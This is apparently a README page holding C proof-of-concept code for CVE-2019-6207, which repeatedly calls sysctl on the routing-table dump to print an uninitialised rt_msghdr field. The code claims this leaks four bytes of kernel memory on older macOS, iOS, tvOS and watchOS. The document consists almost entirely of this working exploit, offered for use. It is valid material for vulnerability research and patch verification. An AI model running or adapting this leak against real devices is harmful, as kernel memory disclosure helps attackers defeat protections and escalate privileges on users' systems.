README.md
Rendering markdown...
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <unistd.h>
struct rt_metrics {
u_int32_t rmx_locks; /* Kernel leaves these values alone */
u_int32_t rmx_mtu; /* MTU for this path */
u_int32_t rmx_hopcount; /* max hops expected */
int32_t rmx_expire; /* lifetime for route, e.g. redirect */
u_int32_t rmx_recvpipe; /* inbound delay-bandwidth product */
u_int32_t rmx_sendpipe; /* outbound delay-bandwidth product */
u_int32_t rmx_ssthresh; /* outbound gateway buffer limit */
u_int32_t rmx_rtt; /* estimated round trip time */
u_int32_t rmx_rttvar; /* estimated rtt variance */
u_int32_t rmx_pksent; /* packets sent using this route */
u_int32_t rmx_state; /* route state */
u_int32_t rmx_filler[3]; /* will be used for T/TCP later */
};
struct rt_msghdr {
u_short rtm_msglen; /* to skip over non-understood messages */
u_char rtm_version; /* future binary compatibility */
u_char rtm_type; /* message type */
u_short rtm_index; /* index for associated ifp */
int rtm_flags; /* flags, incl. kern & message, e.g. DONE */
int rtm_addrs; /* bitmask identifying sockaddrs in msg */
pid_t rtm_pid; /* identify sender */
int rtm_seq; /* for sender to identify action */
int rtm_errno; /* why failed */
int rtm_use; /* from rtentry */
u_int32_t rtm_inits; /* which metrics we are initializing */
struct rt_metrics rtm_rmx; /* metrics themselves */
};
int main(int argc, const char *argv[]) {
printf("CVE-2019-6207 exploit to leak 4 bytes of arbitrary kernel memory\n"
"Tested on MacOS 10.14.1, should works on:\n"
"MacOS < 10.14.4 ; iOS < 12.2 ; tvOS < 12.2 ; watchOS < 5.2\n\n");
int mib[6];
mib[0] = CTL_NET;
mib[1] = PF_ROUTE; // sysctl_rtsock
mib[2] = 0; // protocol number, could be anything
mib[3] = 2; // af = AF_INET = 2
mib[4] = 1; // w_op = NET_RT_DUMP = 1
mib[5] = 0; // w_flags = 0
size_t len = 0;
// Get the buffer length
int error = sysctl(mib, sizeof(mib) / sizeof(mib[0]), NULL, &len, NULL, 0);
if (error || !len) {
printf("Error: sysctl_dumpentry() doesn't returned the buffer length\n");
return 1;
}
printf("Buffer length = 0x%zx\n", len);
uint8_t *buf = malloc(len);
if (!buf) {
printf("Error: malloc() failed\n");
return 1;
}
// Trigger the memory leak
while (1) {
error = sysctl(mib, 6, buf, &len, NULL, 0);
if (error) {
printf("Error: sysctl() failed\n");
return 1;
}
printf("rt_msghdr.rtm_inits (+0x%zX): 0x%08X\n",
offsetof(struct rt_msghdr, rtm_inits),
((struct rt_msghdr *)buf)->rtm_inits);
sleep(1);
}
return 0;
}